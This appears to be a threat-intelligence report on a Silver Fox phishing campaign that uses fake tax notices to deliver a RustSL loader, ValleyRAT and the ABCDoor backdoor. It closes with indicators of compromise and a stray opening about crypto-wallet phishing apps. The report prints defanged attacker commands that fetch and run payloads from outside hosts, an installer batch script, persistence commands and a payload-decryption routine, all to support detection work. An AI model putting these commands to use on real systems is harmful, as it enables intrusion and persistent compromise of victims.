Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

• Eight payload encryption methods
• Thirteen memory allocation methods
• Twelve sandbox and virtual machine detection techniques
• Thirteen payload execution methods
• Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

• sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
• enc_payload_len: the size of the encrypted payload
• sgn_iterations and sgn_key: parameters used for decryption
• sgn_decoder_size and decoder: unused fields
• enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.
   

   Original file containing the encrypted malicious payload

2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.
   

   Encrypted malicious payload prior to the final decryption stage

4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

• ip-api.com (the GitHub version relies solely on this service)
• ipwho.is
• ipinfo.io
• ipapi.co
• www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

• As an email attachment
• Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

• Embedded within the loader body
• Hosted on an external website as a PNG image
• Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

• p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
• bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key	Description
HKCU:\Console\0	For x86-based modules
HKCU:\Console\1	For x64-based modules
HKCU:\Console\IpDate	Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info	Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value	Module name	Library MD5 hash	Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0	保86.dll	4a5195a38a458cdd2c1b5ab13af3b393	2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0	保86.dll	e66bae6e8621db2a835fa6721c3e5bbe	2025-12-04 04:39:32
2375193669e243e830ef5794226352e7	保86.dll_bin	e66bae6e8621db2a835fa6721c3e5bbe	2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

1. Using the InternetReadFile function with the User-Agent PythonDownloader
2. Using the URLDownloadToFile function
3. Using PowerShell:
   

   powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"

4. Using curl:
   

   curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.batAfter copying the files, the script launches the appclient Python module using the legitimate pythonw tool:

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
   

   "C:\Users\<username>\AppData\Local\appclient\python\pythonw.exe" -m appclient

   
   Persistence is established by executing the following command:
   

   cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"

2. Task scheduler: The malware executes
   

   cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

• MainManager: handles C2 connection and authorization (sending system metadata)
• MessageManager: registers and executes message handlers
• AutoStartManager: manages backdoor persistence
• ClientManager: handles backdoor updates and removal
• SystemInfoManager: collects data from the victim’s system, including screenshots
• RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
• FileManager: performs file system operations
• KeyboardManager: emulates keyboard input
• ProcessManager: manages system processes
• ClipboardManager: exfiltrates clipboard contents to the C2
• CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
• Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

• Emulating a double click while broadcasting the victim’s screen
• A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

• Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
• Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
• Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version	Compiled date (UTC)	Key updates	ABCDoor .pyd MD5 hash
121	2024.12.19 18:27:11	–  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg) –  No OOP used –  Registry persistence	5b998a5bc5ad1c550564294034d4a62c
143	2025.02.04 01:15:00	Client updates –  Task scheduler persistence –  OOP implementation (classes) –  Clipboard management –  Process management –  Asymmetric file and directory encryption	c50c980d3f4b7ed970f083b0d37a6a6a
152	2025.04.01 15:39:36	–  DPAPI encryption functions –  Chunked file uploading to C2	de8f0008b15f2404f721f76fac34456a
154	2025.05.09 13:36:24	–  Implementation of installation channels –  Key combination emulation	9bf9f635019494c4b70fb0a7c0fb53e4
156	2025.08.11 13:36:10	–  Retrieval and logging of initial installation time to the registry	a543b96b0938de798dd4f683dd92a94a
157	2025.08.28 14:23:57	–  Use of DDA source in ffmpeg for monitor screen broadcasting	fa08b243f12e31940b8b4b82d3498804
157	2025.09.23 11:38:17	–  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12)	13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

• • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
  • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
    

    powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

    
    This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

• • • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
      • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
      • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
    • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
    • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

• • • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
    • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
    • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
    • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
    • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
    • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

• • • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
    • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
    • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
    • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
    • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

When executed, the SFX archive ran the following script:

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

